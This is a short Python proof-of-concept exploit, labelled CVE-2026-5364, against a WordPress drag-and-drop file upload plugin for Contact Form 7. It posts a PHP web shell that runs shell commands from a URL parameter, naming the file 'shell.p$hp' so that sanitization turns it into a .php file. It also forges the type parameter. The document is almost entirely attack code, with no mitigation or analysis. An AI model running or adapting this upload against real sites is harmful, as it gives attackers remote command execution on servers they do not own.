CVE-2026-5364

import requests def exploit(url): upload_url = f"{url}/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7/backend/index.php" # Payload: The '$' character will be stripped during sanitization, resulting in a .php file files = { 'file': ('shell.p$hp', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } # Attacker controlled type parameter data = { 'type': 'image/php' } try: response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] Upload successful. Check the upload directory.") print(f"[+] Response: {response.text}") else: print("[-] Upload failed.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)

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